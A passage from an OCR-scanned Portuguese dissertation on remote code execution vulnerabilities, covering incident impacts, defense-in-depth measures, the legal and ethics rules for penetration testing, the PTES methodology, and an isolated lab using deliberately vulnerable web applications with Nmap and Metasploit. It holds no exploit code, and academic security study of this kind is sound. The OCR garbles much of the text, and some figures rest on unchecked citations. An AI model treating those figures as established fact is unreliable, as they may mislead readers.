Dimensio Exemplo de Incidente Consequéncias

Exploragdo do MOVEit Perdas de 10 mil milhdes USD

Financeira
Transfer (2023) [106]
Custos de recuperagao [107]
Ataque ao Microsoft Queda de 18% na confianca
Reputacional
Exchange (2024) [108]
Danos a imagem corporativa
[109]
L oval Vulnerabilidade em Ivanti Multa GDPR de 20 milhdes €
ega

VPN (2024) [110]

23



Dimensao Exemplo de Incidente Consequéncias

Agoes judiciais [111]

Exploragado do PAN-OS Interrupcao de 72h em servigos

Operacional

(2024) criticos [112]

Paralisagdo de centro de dados

[113]

A andlise dos incidentes cibernéticos apresentados na tabela 1 revela um padrdo

preocupante de impactos sistémicos que transcendem a esfera técnica, afetando

estruturalmente as organizagdes em multiplas dimensoes:

1.

Dimensao Financeira: A exploracdo da vulnerabilidade no MOVEit Transfer
(2023) exemplifica a magnitude econdmica deste tipo de incidentes, com perdas
diretas estimadas em 10 mil milhdes de ddlares, para além dos custos adicionais
de recuperacdo de sistemas e mitigagdo de danos [106], [107]. Estes valores
sublinham a necessidade de investimentos preventivos em seguranca da

informacao.

Dimensao Reputacional: O ataque ao Microsoft Exchange (2024) resultou
numa queda mensuravel de 18% na confianca dos stakeholders e em danos
prolongados a perce¢do da marca [108], [109]. Estes efeitos demonstram que o
capital intangivel das organizacdes se tornou tdo vulnerdvel quanto as suas

infraestruturas tecnologicas.

Dimensao Legal-Regulatoria: O caso da vulnerabilidade na Ivanti VPN (2024)
ilustra a crescente severidade do ambiente normativo, com a imposi¢ao de uma
multa de 20 milhdes de euros ao abrigo do GDPR [110]. Este episoddio reflete a

tendéncia global de responsabilizagdo corporativa por falhas de seguranga.
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4. Dimensao Operacional: A exploracdo da vulnerabilidade no PAN-OS (2024)

resultou na interrupcao de servigos criticos durante 72 horas e na paralisagdo de
centros de dados [112], [113], destacando a fragilidade das infraestruturas
digitais contemporaneas e os efeitos em cadeia em ecossistemas empresariais

interdependentes.

2.11 MEDIDAS DE MITIGACAO E DEFESA

A mitigacdo eficaz contra vulnerabilidades de Execu¢dao Remota de Codigo (RCE) deve

adotar uma abordagem de defesa em profundidade (defence-in-depth), integrando

multiplas camadas de prote¢do a nivel técnico, processual e humano [114]. Esta

estratégia multifacetada visa criar barreiras sucessivas que dificultem a exploragao bem-

sucedida de falhas de seguranca, mesmo quando algumas medidas de protecdo sdo

contornadas.

Entre as principais salvaguardas atualmente recomendadas pela comunidade de

seguranca informatica destacam-se:

1.

Gestdo proativa de vulnerabilidades: Implementagdo de um programa
continuo de identificagdo, avaliagdo ¢ correcdo de vulnerabilidades, com
priorizacdo baseada no CVSS (Common Vulnerability Scoring System), dando
aten¢do imediata a falhas com pontuacdo igual ou superior a 9 [115]. Este
processo deve incluir a monitorizagdo ativa de boletins de seguranca e a

aplicagdo sistematica de patches.

Web Application Firewalls (WAFs): Implementacao de sistemas de firewall
para aplicacdes web que combinem assinaturas de ataques conhecidos com
técnicas de aprendizagem automatica para detetar padrdes de trafego anomalos
[116]. Estas solu¢des oferecem protecdo temporaria contra ataques zero-day,

permitindo ganhar tempo para a implementacdo de corre¢cdes permanentes.
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3. Isolamento de processos: Utilizagao de tecnologias de contengdo como Docker
e gVisor para criar micro dominios de execucdo que limitam o impacto potencial
de uma exploracdo RCE bem-sucedida [117]. Esta abordagem impede que um
atacante comprometa todo o sistema mesmo quando consegue executar c6digo

remotamente.

4. Controlo de acessos: Aplicacdo rigorosa do principio do privilégio minimo
(least privilege) combinado com estratégias avancadas de segmentagdo de rede
(macro e micro segmentacgdo) [118]. Estas medidas reduzem significativamente

a capacidade de movimentacao lateral do atacante dentro da infraestrutura.

5. Monitorizacdo avanc¢ada: Implementacdo de sistemas SIEM (Security
Information and Event Management) capazes de correlacionar logs de diversas
fontes, complementados com modelos de detecdo baseados em machine
learning para identificar padrdes andémalos de comportamento [119]. Esta
abordagem permite detetar atividades suspeitas que poderiam indicar uma

tentativa ou exploracdo bem-sucedida de RCE.

6. Desenvolvimento seguro: Adocdao de praticas de codificagdo segura e
implementagdo de processos automatizados de revisdo de codigo que
identifiquem fun¢des potencialmente perigosas (como exec, eval, system, etc.)
[120]. Esta medida preventiva ¢ particularmente importante para reduzir a

introducdo de vulnerabilidades RCE durante o desenvolvimento de software.

A eficacia destas medidas depende fortemente da sua implementagdo integrada e da
atualizag@o continua face a evolugao das técnicas de ataque. Como demonstram estudos
recentes [121], organizacdes que adotam esta abordagem estratificada conseguem
reduzir significativamente o risco de exploracdo bem-sucedida de vulnerabilidades

RCE.
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2.12 ENQUADRAMENTO LEGAL E ETICO DOS TESTES DE INTRUSAO

A realizacdo de testes de intrusdo que envolvam a exploragdo de vulnerabilidades de
Execugdo Remota de Codigo (RCE) estd sujeita a um rigoroso enquadramento legal e
ético, que os profissionais de seguranca informatica devem escrupulosamente observar
[122]. Este quadro normativo visa garantir que as atividades de avaliacdo de
vulnerabilidades ndo violam direitos fundamentais nem comprometem a
operacionalidade dos sistemas testados.

No ambito legal, destacam-se trés instrumentos fundamentais:

1. Diretiva NIS 2 (UE 2022/2555): Estabelece requisitos obrigatorios de seguranga
e de reporte de incidentes para operadores de servigos essenciais e entidades de
médio e grande porte, incluindo a obrigatoriedade de testes de seguranga

regulares [123].

2. Regulamento Geral sobre a Prote¢do de Dados (RGPD): Exige a implementacao
de medidas técnicas e organizativas adequadas para garantir a seguranca dos
dados pessoais, prevendo sangdes significativas para casos de negligéncia na

gestao de vulnerabilidades [124].

3. Legislagc@o nacional especifica: Inclui diplomas como o Computer Misuse Act
(Reino Unido) e o Computer Fraud and Abuse Act (EUA), que criminalizam o
acesso ndo autorizado a sistemas informaticos, mesmo quando ndo resulte em

dano aparente [125].

No plano ético, os profissionais devem guiar-se por coédigos de conduta reconhecidos
internacionalmente, como o estabelecido pelo (ISC)?, que enfatiza principios

fundamentais [126]:

o Consentimento explicito e documentado antes da realizagdo de qualquer teste

e Minimizagdo do impacto nas operagdes normais dos sistemas
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o Confidencialidade relativamente as informagdes obtidas
e Reporte responsavel de vulnerabilidades identificadas

e Limita¢cdo do ambito aos sistemas e periodos autorizados

Este enquadramento ¢ particularmente relevante no contexto de testes que envolvam
RCE, dada a natureza critica destas vulnerabilidades e o seu potencial impacto [127].
Os profissionais devem ainda considerar as orientacdes especificas contidas em normas
técnicas como a ISO/IEC 29147 (divulgacao de vulnerabilidades) e a ISO/IEC 30111

(processamento de informacao sobre vulnerabilidades) [128].

A observancia destes principios legais e éticos € essencial para garantir que os testes de
intrusdo cumpram o seu objetivo de melhorar a seguranca dos sistemas sem violar
direitos fundamentais ou comprometer a estabilidade operacional das organizacdes

[129].

2.13 TENDENCIAS EMERGENTES E DESAFIOS FUTUROS

O panorama das vulnerabilidades de Execucdo Remota de Cddigo (RCE) estd em
constante evolucdo, com novas tendéncias tecnoldgicas a introduzirem desafios
significativos para a seguranca informdtica [130]. Estas transformagdes exigem

abordagens inovadoras e a antecipagdo de riscos emergentes.

Infraestruturas como Coddigo (IaC): A adogdo crescente de ferramentas como
Terraform e Ansible introduz novos vetores de risco, onde erros em ficheiros de
configuracdo podem propagar vulnerabilidades em grande escala e de forma
automatizada [131]. Este fendémeno ¢ particularmente preocupante em ambientes de
cloud computing, onde uma tnica configuragdo incorreta pode comprometer multiplos

sistemas simultaneamente.

Inteligéncia Artificial Generativa: Os avancos em Large Language Models (LLMs)

estdo a transformar o panorama de ameacgas, com estas tecnologias a serem utilizadas
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tanto para a criacdo automatizada de exploits como para o desenvolvimento de
mecanismos de defesa mais sofisticados [132]. Um exemplo paradigmatico ¢ a geracao
automatica de assinaturas para Web Application Firewalls (WAFs), que permite

responder mais rapidamente a novas ameagas.

Computacido Quintica: Embora ainda em fase de desenvolvimento, a computagdo
quantica representa um desafio futuro significativo, com potencial para comprometer
os primitivos criptograficos que atualmente protegem comunicagdes € mitigam os riscos
de pos-exploragdo [133]. Esta evolugdo exigird a migracdo para algoritmos poOs-

quanticos para manter a seguranga dos sistemas.

Edge Computing e redes 5G: A dispersao de microservicos em ambientes de Multi-
access Edge Computing (MEC) expande consideravelmente a superficie de ataque,
requerendo a ado¢do de modelos zero-trust de ponta a ponta [134]. Esta arquitetura
distribuida introduz novos desafios na detecdo e contengdo de tentativas de exploragdo

de RCE, particularmente em ambientes com laténcia ultrabaixa.

Estas tendéncias emergentes destacam a necessidade de:

1. Abordagens proativas na gestdo de configuragdes laC

2. Investimento continuo em pesquisa e desenvolvimento de contramedidas
baseadas em inteligéncia artificial

3. Preparagdo para a transi¢do para criptografia pés-quantica

4. Adaptacao dos modelos de segurancga para arquiteturas distribuidas edge/5G
Como demonstram os estudos mais recentes [135], a capacidade de antecipar e

responder a estes desafios sera determinante para a eficacia das estratégias de seguranca

contra exploracdes RCE no futuro préximo.

29



2.14 SINTESE CRITICA DA LITERATURA

A analise da literatura especializada permite constatar um consenso quanto a natureza
transversal das vulnerabilidades de Execu¢do Remota de Codigo (RCE), que afetam de
forma integrada as camadas aplicacionais, middleware e de sistema operativo [136].
Contudo, identifica-se uma discrepancia significativa entre as recomendacdes
académicas e as praticas efetivas de gestdo de atualizagdes de seguranca (patch

management) no contexto empresarial real [137].

Os estudos revelam ainda uma lacuna preocupante nos mecanismos de monitorizagdo
continua nos ambientes de desenvolvimento modernos (DevSecOps), onde
vulnerabilidades sdo frequentemente introduzidas nas fases iniciais do ciclo de vida da

aplicagdo [138]. Esta situagdo ¢ particularmente critica quando consideramos que:

1. A maioria das organizacdes ndo implementa processos sistematicos de
verificacdo de seguranga durante as fases de desenvolvimento

2. Existe uma desconexao entre as equipas de desenvolvimento e seguranca

3. Os controlos de seguranca sdo frequentemente considerados apenas em fase de

producdo [139]

Casos de estudo recentes demonstram a necessidade urgente de [140]:

e Automatizagdo dos processos de reforco de seguranca ("Infrastructure
Hardening as Code")

e Desenvolvimento de competéncias especializadas em equipas de defesa (blue-
team)

o Implementagdo de capacidades de resposta em tempo real a incidentes

e Adocao de abordagens de seguranca continua ao longo do ciclo de vida do

desenvolvimento

A literatura evidencia igualmente que as atuais estratégias de mitigacao frequentemente

falham em considerar a natureza evolutiva dos vetores de ataque RCE, que se adaptam
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continuamente para contornar as medidas defensivas existentes [141]. Esta constatagdo
reforca a importancia de uma abordagem dinadmica e proativa na gestdo deste tipo de

vulnerabilidades.

2.15 CONCLUSAO DO CAPITULO

A analise desenvolvida ao longo deste capitulo demonstra cabalmente a natureza ubiqua
e a gravidade critica das vulnerabilidades de Execu¢do Remota de Codigo (RCE) nos
sistemas informdticos contemporaneos [142]. Os resultados obtidos evidenciam que
uma mitigacao eficaz exige necessariamente a conjugagao sinérgica de trés dimensdes
fundamentais:

1. Medidas técnicas robustas, implementadas segundo uma abordagem de defesa

em profundidade

2. Modelos de governabilidade adequados que assegurem a conformidade legal e

ética

3. Programas de forma¢do continua para profissionais de seguranga e

desenvolvimento [143]

O estudo aprofundado dos vetores de ataque, ferramentas de exploracdo e impactos
potenciais proporcionou um enquadramento tedrico solido e indispensdvel para a
componente pratica desta investigagdo [144]. Esta base conceptual permitira, no

capitulo seguinte:

e A concecdo de experiéncias controladas que reproduzam cendrios realistas de
exploragdo RCE

e A validagdo empirica das estratégias de mitigacao discutidas

e A obtengdo de dados quantitativos sobre a eficdcia de diferentes abordagens

defensivas

Como salientam os estudos mais recentes [ 145], a complexidade crescente das ameagas

RCE exige uma continua atualizacdo do conhecimento tedrico e pratico, sendo este
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capitulo um contributo para esse esfor¢o coletivo da comunidade de seguranca

informatica.

3 METODOLOGIA

A execucdo da componente pratica desta investigacdo foi cuidadosamente planeada
segundo uma abordagem metodologica estruturada e sistematica, assegurando nao so a
validade cientifica dos resultados obtidos, mas também a sua reprodutibilidade e a
seguranga inerente ao processo de exploracao de vulnerabilidades do tipo Remote Code
Execution (RCE). Esta dimensao experimental, fundamentada nos principios basilares
da seguranca ofensiva, utiliza ambientes rigorosamente controlados e isolados,
especificamente concebidos para simular cendrios de ataque com elevado rigor técnico,
mantendo simultaneamente a salvaguarda absoluta de infraestruturas operacionais e

sistemas em producao.

3.1 ENQUADRAMENTO METODOLOGICO

A presente investigacdo adota como referencial metodologico o Penetration Testing
Execution Standard (PTES), amplamente reconhecido como padrdo de exceléncia no
dominio da seguranca ofensiva computacional. Este framework, validado
internacionalmente tanto pela comunidade académica como pelos profissionais do
setor, estabelece um conjunto de conceitos técnicos e procedimentos sistematizados que
garantem a execucdo de avaliagdes éticas de seguranga com rigor cientifico e validade

empirica [146].

A pertinéncia da adogdo deste paradigma justifica-se pela sua consagracdo entre os

principais atores do ecossistema de ciberseguranca, nomeadamente:
o Unidades especializadas em operagdes ofensivas avangadas de red teaming

o Consultorias estratégicas em seguranca da informagdo de nivel empresarial

e Centros de investigagdo em ciberseguranca de institui¢des de referéncia
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e Organismos internacionais de certificacdo e auditoria técnica [147]

Arquitetura Processual do Modelo PTES

O referencial em analise estrutura-se num ciclo sequencial composto por sete fases
interdependentes, cada uma caracterizada por objetivos operacionais especificos e

critérios de avaliacdo mensuraveis:

1. Fase de Observacio e Definicio Conceptual

o Delimitagdo taxonémica do ambito de intervenc¢ao

o Formulacdo de objetivos operacionais SMART (Specific, Measurable,
Achievable, Relevant, Time-bound)

o Estabelecimento de principios éticos e enquadramento legal

o Defini¢do de métricas de sucesso validadas [148]

2. Fase de Inteligéncia (Reconhecimento Passivo)

o Recolha sistematica de inteligéncia através de técnicas OSINT (Open
Source INTelligence)
o Analise forense de meta dados e pegadas digitais

o Mapeamento de infraestruturas via fontes publicas abertas [149]

3. Fase de Analise de Ameacas

o Enumeragdo ativa de vetores de ataque potenciais

o Identificacdo e catalogacdo de vulnerabilidades conhecidas (CVE)

o Classificagdo de ameacas segundo modelos STRIDE (Spoofing,
Tampering, Repudiation, Information Disclosure, Denial of Service,

Elevation of Privilege) [150]
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4. Fase de Modelaciao de Ataque

o Desenvolvimento de cenarios de comprometimento
o Priorizagdo estratégica de vetores de exploracao

o Simulagdo de técnicas TTPs (Tactics, Techniques and Procedures) [151]

5. Fase de Exploraciao Ativa

o Execugdo controlada de técnicas de RCE
o Validagao empirica das hipoteses de comprometimento

o Documentagdo forense dos processos de intrusdo [152]

6. Fase de Pos-Exploracao

o Andlise de impacto sistémico multidimensional
o Mapeamento de cadeias de ataque completas (Cyber Kill Chain)
o Avaliagdo de persisténcia e movimentagao lateral

o Extragdo forense de evidéncias digitais [153]

7. Fase de Consolidacao e Relato

o Sistematiza¢do das identificagdes técnicas
o Elaboracdo de matrizes de risco ponderadas
o Formulacdo de recomendagdes mitigatérias estratificadas

o Producao de artefactos técnicos normalizados [154]

Este quadro conceptual confere robustez cientifica a investiga¢do, garantindo que os
procedimentos laboratoriais desenvolvidos estejam alinhados com os mais exigentes
padrdes internacionais de seguranca ofensiva. A adog¢do deste referencial assegura nao
apenas a validade interna dos resultados obtidos, como também a sua comparabilidade
com estudos similares no dominio da ciberseguranga, contribuindo significativamente

para o avango do conhecimento nesta area de estudo [155].
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3.2 IMPLEMENTACAO PRATICA DA METODOLOGIA

A operacionalizacdo da metodologia decorreu em sete fases sequenciais, descritas de

forma detalhada a seguir:

Fase 1 — Planeamento do Ambiente Foi estabelecida uma matriz de recursos técnicos
e critérios éticos fundamentais para a investigagdo [156]. Selecionaram-se sistemas
vulneraveis conhecidos (CVEs documentados) e implementou-se um ambiente de teste
sob controlo absoluto, garantindo o isolamento completo da rede institucional e de
sistemas produtivos. Esta fase incluiu a defini¢do de protocolos de contingéncia para

eventuais falhas de contengao.

Fase 2 - Configuracio da Infraestrutura Implementou-se um laboratorio

especializado composto por [157]:

e Aplicagdes vulnerdveis intencionais (Joomla 3.4.6, WordPress 4.2,
phpMyAdmin 4.0.x)

o Sistemas isolados em Raspberry Pi 4 Model B

e MdAquinas virtuais VMware ESXi com configuracdes especificas

e Rede privada virtual com monitorizagdo continua

Fase 3 — Selecdo de Ferramentas Adotou-se um conjunto de ferramentas validadas

pela comunidade de segurancga ofensiva [158]:

o Nmap (mapeamento de rede e servigos)
e WhatWeb (identificacdo de tecnologias web)
o Skipfish (anélise de seguranga em aplicacdes web)

e Metasploit Framework (exploracdo de vulnerabilidades)

Fase 4 — Execucao do Ciclo Ofensivo Aplicou-se rigorosamente o ciclo PTES com as

seguintes atividades principais [159]:
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1. Reconhecimento passivo e ativo
Enumerac¢do detalhada de servigos

Exploragao controlada de vulnerabilidades RCE

Eal

Operagdes de pds-exploragdo limitadas

Fase 5 — Registo e Analise de Resultados Documentaram-se todos os processos com

[160]:

o Capturas de ecra cronoldgicas
e Logs detalhados de atividades
o Evidéncias de acesso a ficheiros sensiveis

e Provas conceptuais de execugdo remota

Fase 6 — Validacdo de Impactos Realizou-se uma andlise critica multidimensional
[161]:

e Técnica (causas raiz das vulnerabilidades)

e Operacional (impacto potencial em ambientes reais)

e Organizacional (implicagdes para a gestdo de seguranga)

Fase 7 — Formulacido de Recomendag¢des Desenvolveram-se propostas de mitigacao

estratificadas [162]:

3.3 REPRESENTACAO GRAFICA DA METODOLOGIA PTES

A Figura 4 apresenta uma sintese visual das sete fases do modelo PTES [163], conforme
implementadas no &mbito desta investigagdo pratica, demonstrando a sequéncia logica
e as relacdes entre cada etapa do processo. Esta representacdo grafica foi especialmente
adaptada para refletir as particularidades do estudo em questdo, mantendo, contudo, a

fidelidade aos principios fundamentais do padrao PTES.

O diagrama desenvolvido ilustra de forma clara:
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1. A natureza iterativa e ciclica do processo de teste de penetragdo

Eall

Os produtos gerados em cada fase metodologica
Os mecanismos de controlo e validagdo implementados

Os pontos de decisdo critica entre fases

A estrutura representada evidencia como as diferentes componentes da metodologia -

desde o planeamento inicial até ao relatorio final - se articulam sistematicamente para

garantir uma avaliacdo abrangente e rigorosa das vulnerabilidades RCE em ambiente

controlado.
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Figura 4 - Fluxo de Metodologia PTES (adaptado de PTES 2017)

3.4 CONTEXTUALIZACAO INTERNACIONAL DA AMEACA DE EXECUCAO
REMOTA DE CODIGO (RCE): ENQUADRAMENTO DO OBJETO DE ESTUDO

A evolugdo das ameagas no ciberespago tem acompanhado, de forma simbiotica, a

aceleragdo da transformacgao digital em escala global. A proliferacdo de ecossistemas
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digitais — incluindo servigos web, aplicagdes empresariais criticas, infraestruturas
essenciais digitalizadas e arquiteturas de computacdo em nuvem — expandiu
consideravelmente a superficie de ataque das organizagdes, exacerbando os desafios

inerentes a sua prote¢do eficaz.

Neste contexto, as vulnerabilidades de Execu¢do Remota de Codigo (RCE) assumem
particular relevancia no atual panorama da ciberseguranca. Essa preponderancia deve-

se as suas caracteristicas intrinsecas, que incluem:

1. A capacidade de executar codigo arbitrario em sistemas vulneraveis;

2. A possibilidade de exploragdo sem requisitos prévios de autenticacao;

3. O potencial para comprometer integralmente os ativos digitais;

4. A aptidao para funcionar como vetor inicial de ataques laterais e escalonamento de

privilégios.

Tais atributos colocam as vulnerabilidades RCE no topo das matrizes de risco
contemporaneas, consolidando-as como um dominio de estudo prioritario tanto a nivel
académico quanto para os profissionais de ciberseguranca. A presente dissertacdo
insere-se neste enquadramento, visando contribuir para a compreensdo e mitigagao

deste desafio critico da seguranca digital.

3.5 A PROFUNDIDADE TECNICA DA AMEACA DE EXECUCAO REMOTA DE
CODIGO (RCE)

A execugdo remota de codigo (RCE) constitui uma das ameagas mais criticas no atual
panorama de ciberseguranca, destacando-se pela sua complexidade técnica intrinseca e
pelo potencial impacto devastador que pode acarretar [165]. Esta vulnerabilidade
permite que agentes maliciosos obtenham controlo total sobre sistemas vulneraveis,

explorando falhas em componentes de software, bibliotecas externas ou configuragdes
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inadequadas, frequentemente sem necessidade de dispor de credenciais de autenticag@o

validas [166].

A gravidade singular desta ameaca reside na sua natureza ubiqua e transversal a diversos
setores. Ao contrario de vulnerabilidades mais circunscritas, o0 RCE manifesta-se com
igual severidade em contextos organizacionais e tecnoldgicos dispares, incluindo
infraestruturas empresariais criticas, plataformas governamentais sensiveis, sistemas
financeiros complexos, ambientes industriais automatizados e ecossistemas académicos
especializados [167]. Esta omnipresenca transforma o RCE num vetor de ataque
particularmente temivel, capaz de comprometer desde sistemas isolados até redes

inteiras de organizacdes.

Uma analise historica das vulnerabilidades RCE mais exploradas na ultima década
revela um padrao perturbador: a sua origem estd maioritariamente associada a praticas
de desenvolvimento que negligenciaram principios fundamentais de seguranca
informatica [168]. Entre os fatores determinantes mais relevantes destacam-se a
auséncia de mecanismos robustos de validagdo de inputs, que permitem a inje¢do
arbitraria de codigo malicioso; a exposi¢cdo indevida de interfaces administrativas,
frequentemente carentes de mecanismos de autenticacdo adequados; a gestdo negligente
de dependéncias externas, incluindo a persisténcia no uso de bibliotecas com
vulnerabilidades conhecidas (identificaveis através do sistema Common Vulnerabilities
and Exposures - CVE); e a manutengdo deficiente de componentes de software, com
utilizacdo prolongada de versdes desatualizadas e potencialmente comprometidas
[169].

Estes vetores de vulnerabilidade convergem para criar um cendrio operacional
particularmente preocupante. Dados recentes indicam que a maioria das exploragdes
RCE ocorre sem exigéncia de credenciais validas, sendo o periodo médio entre a
divulgacdo publica da vulnerabilidade e a sua exploragdo ativa notavelmente reduzida
[170]. Esta realidade exige uma abordagem multidisciplinar que integre de forma
coerente praticas de desenvolvimento seguro, arquiteturas defensivas em profundidade,
monitoriza¢do continua de componentes e politicas rigorosas de gestdo de atualizagdes

- constituindo precisamente o objeto central desta investigagdo [171].
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3.6 CASOS PARADIGMATICOS E REPERCUSSOES GLOBAIS DA AMEACA
RCE

A ameacga de Execucdo Remota de Codigo (RCE) tem-se manifestado através de
incidentes de ciberseguranga com proporgdes catastroficas, cujas repercussoes
transcendem o ambito técnico, assumindo dimensdes financeiras, juridicas,
reputacionais e operacionais sem precedentes [172]. A andlise de casos emblematicos
revela padrdes preocupantes na evolugdo das capacidades ofensivas no ciberespaco,

oferecendo ligdes cruciais para a comunidade de seguranga informatica.

O incidente da Equifax em 2017 permanece como paradigma dos riscos associados a
gestdo negligente de vulnerabilidades conhecidas [173]. A exploracdo da falha CVE-
2017-5638 no framework Apache Struts 2 - cujo patch estava disponivel, mas ndo
aplicado - demonstrou de forma crua as consequéncias sistémicas de praticas deficientes
de gestdo de vulnerabilidades. O comprometimento de dados sensiveis de 145 milhdes
de cidadaos norte-americanos resultou ndo apenas em sangdes financeiras recorde
(superiores a 700 milhdes de ddlares), mas também na demissdo do quadro executivo e
na completa reestruturacdo das politicas de seguranca da organizagdo [174]. Este caso
sublinha a necessidade imperiosa de implementagdo rigorosa de ciclos de gestdo de
atualizagdes de seguranca (patch management), particularmente em infraestruturas que

processam dados criticos.

O episddio Log4Shell (CVE-2021-44228) em dezembro de 2021 representou um ponto
de viragem na percecdo global das vulnerabilidades em cadeias de abastecimento de
software [175]. A ubiquidade da biblioteca Log4j, componente fundamental em
ecossistemas Java, transformou esta vulnerabilidade num vetor de ataque transversal. A
peculiaridade técnica que permitia a execugdo remota de cddigo através da simples
inser¢do de strings maliciosas em campos de /og revelou fragilidades estruturais nos
modelos atuais de desenvolvimento seguro. A reagdo internacional foi imediata e sem
precedentes: a CISA classificou a vulnerabilidade como "critica", enquanto gigantes

tecnoldgicos como Microsoft, Amazon e Cisco mobilizaram equipas de emergéncia
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para mitigacdo [176]. Este caso evidenciou a interdependéncia global em matéria de

seguranga digital e a necessidade de mecanismos coordenados de resposta a incidentes.

Mais recentemente, em 2023, a exploracdo da vulnerabilidade na plataforma MOVE:it
Transfer pelo grupo ClOp demonstrou a sofisticacdo alcancada pelo cibercrime
organizado [177]. A operagdo, que afetou instituicdes governamentais e corporacdes
em multiplas jurisdi¢gdes, revelou padrdes operacionais comparaveis a unidades de
ciberguerra estatais: exploracdo automatizada, exfiltragdo silenciosa de dados e
monetizacao eficiente através de esquemas de extorsdao. O impacto estimado em 10 mil
milhdes de dodlares e o comprometimento de mais de 40 milhdes de ficheiros
confidenciais sublinham a dimensdo estratégica que as ameacas RCE assumiram no

atual panorama geopolitico digital [178].

Estes casos paradigmaticos evidenciam quatro tendéncias criticas [179]:

1. A crescente sofisticacdo técnica das exploragdes de RCE

A escalada dos impactos econdmicos e operacionais

A necessidade premente de quadros regulatorios internacionais mais robustos

Eall

A urgéncia em desenvolver mecanismos proativos de detecao e resposta

A andlise destes incidentes ndo so6 ilustra a evolucdo da ameaga RCE, como também
serve de base para a formulagdo de estratégias mais eficazes de prevencdo e mitigagao
no ambito da ciberseguranca global [180]. A licao fundamental que emerge destes casos
¢ a necessidade de uma abordagem holistica que combine vigilancia tecnologica,
melhores praticas de desenvolvimento, cooperagao internacional e capacitacao continua

dos profissionais de seguranca.

3.7 EVOLUCAO E SOFISTICACAO NA EXPLORACAO DE
VULNERABILIDADES DE RCE: TENDENCIAS CONTEMPORANEAS

A exploragdo de vulnerabilidades de Execu¢dao Remota de Cédigo (RCE) tem registado

uma evolugdo significativa, acompanhando o ritmo acelerado da transformacao digital
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nas organizacdes [181]. Na atualidade, observa-se uma crescente profissionalizagdo e
sofisticacdo nas técnicas empregues por agentes maliciosos, que passaram a incorporar
ferramentas avancadas de reconhecimento e exploracdo automatizada, transformando

radicalmente o panorama de ameacas.

As campanhas ofensivas modernas utilizam sistematicamente plataformas de
inteligéncia de superficie de ataque como Shodan, Censys e ZoomEye, que funcionam
como motores de busca especializados na identificagao de sistemas vulneraveis a escala

global [182]. Estas ferramentas permitem:

e A varredura massiva de dispositivos expostos na Internet

o Filtragem por pardmetros técnicos especificos (versdes de aplicagdes
vulneraveis, portas abertas, cabegalhos expostos)

e Identificagdo de milhares de potenciais alvos em segundos

o Integracdo com pipelines de ataque automatizados [183]

Paralelamente, regista-se uma transi¢ao fundamental no modus operandi dos cibe
criminosos, que migraram de ciberataques oportunistas para operacdes altamente

direcionadas e persistentes [184]. Neste novo paradigma:

1. A exploragdo inicial de vulnerabilidades RCE constitui apenas o primeiro
estagio

2. Seguem-se técnicas avangadas de movimentagao lateral na rede

3. Implementam-se mecanismos de elevagdo de privilégios

4. Executa-se exfiltragdo seletiva de dados [185]

Esta abordagem estratificada visa estabelecer uma presenca persistente nos sistemas
comprometidos e maximizar o impacto estratégico das intrusdes, transformando as
vulnerabilidades RCE em vetores de ataques prolongados e de alto impacto.

Um desenvolvimento particularmente preocupante ¢ o surgimento, na dark web, de
plataformas de Exploitation-as-a-Service (EaaS), que representam a comercializac¢ao e

democratizagdo de capacidades ofensivas [186]. Estas plataformas oferecem:
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Kits de exploracdo pré-configurados para diversas tecnologias
Documentagao técnica detalhada
Suporte especializado a cibe criminosos

Modelos de subscri¢ao ou pagamento por utiliza¢ao [187]

Este modelo de negodcio criminoso reduz drasticamente a barreira de entrada para

ataques sofisticados, permitindo que individuos com conhecimentos técnicos limitados

explorem vulnerabilidades complexas [188].

A convergéncia destas tendéncias resulta num cendario operacional marcado por [189]:

Eall

Diminui¢do do tempo entre identificacao e exploracao de vulnerabilidades
Expansdo da superficie de ataque para toda a cadeia de fornecedores
Aumento da assimetria entre capacidades ofensivas e defensivas

Crescente profissionalizacdo do cibercrime organizado

Perante esta realidade, torna-se imperiosa uma resposta proporcionalmente mais

sofisticada, que inclua [190]:

Implementa¢do de mecanismos proativos de monitorizagao

Arquiteturas de defesa em profundidade

Modelos colaborativos de partilha de inteligéncia sobre ameagas
Desenvolvimento de quadros regulatérios robustos para a cadeia de
fornecimento de software

Adogao de abordagens de threat hunting proativo

3.8 FRAGILIDADES ESTRUTURALIS E DESAFIOS GLOBAIS NA SEGURANCA
DE SOFTWARE

A crescente dependéncia de ecossistemas de cddigo aberto, frequentemente sustentados

por comunidades reduzidas de voluntarios, tem introduzido vulnerabilidades sistémicas

na infraestrutura digital global. O caso paradigmatico do Log4Shell revelou de forma
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contundente como uma Unica vulnerabilidade numa biblioteca ubiqua pode
comprometer simultaneamente milhdes de sistemas interligados, expondo as

fragilidades inerentes ao atual modelo de desenvolvimento distribuido.

Existem trés eixos criticos que perpetuam essa situacao:

1. Deficiéncias nos processos de garantia de qualidade: A auséncia de mecanismos
formais de revisdo de codigo, a insuficiéncia de testes de seguranca integrados nos
pipelines DevOps contemporaneos e a caréncia de sistemas automatizados de
atualizacdo criam um ambiente propicio a persisténcia de vulnerabilidades latentes, que

frequentemente permanecem nao detetadas durante ciclos de desenvolvimento inteiros.

2. Modelos reativos de gestdo de riscos: Muitas organizagdes persistem em adotar
abordagens fragmentadas a seguranca cibernética, nas quais a identificacdo de
vulnerabilidades e a aplicacdo de correcdes dependem de processos manuais e

auditorias periddicas, em vez de sistemas continuos de monitorizagao e resposta.

3. Barreiras estruturais a adocao de boas praticas: A escassez aguda de profissionais
qualificados em seguranca ofensiva, combinada com resisténcias organizacionais a
implementagdo de arquiteturas confianca zero, estratégias de defesa em profundidade e
mecanismos de prote¢do em tempo real, perpetuam ambientes digitais intrinsecamente

vulneraveis.

Esta triade de fatores - deficiéncias processuais, modelos de gestiao obsoletos e barreiras
a inovacdo - configura um cenario onde as vulnerabilidades RCE encontram terreno
fértil para exploragdo, exigindo uma reavaliagdo fundamental dos paradigmas atuais de

desenvolvimento e operagdo de sistemas criticos.
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3.9 QUADRO REGULATORIO INTERNACIONAL E INICIATIVAS DE
RESPOSTA A AMEACA RCE

e Perante a escalada de incidentes de seguranca digital de propor¢des sistémicas,
observa-se uma mobiliza¢do concertada de entidades reguladoras a nivel global
para estabelecer mecanismos mais robustos de prevengdo e resposta. Essa
resposta institucional reflete o reconhecimento crescente da natureza estratégica
das vulnerabilidades de Execu¢dao Remota de Cddigo (RCE) no contexto da

segurang¢a nacional e da estabilidade economica.

e A Unido Europeia, por meio da Diretiva NIS2 (Network and Information
Security), estabeleceu um marco regulatdorio sem precedentes ao impor
requisitos rigorosos aos operadores de servigos essenciais nos setores de
energia, transporte, finangas, saude e infraestruturas digitais. O texto legislativo,

que entrou em vigor em janeiro de 2023, contempla:

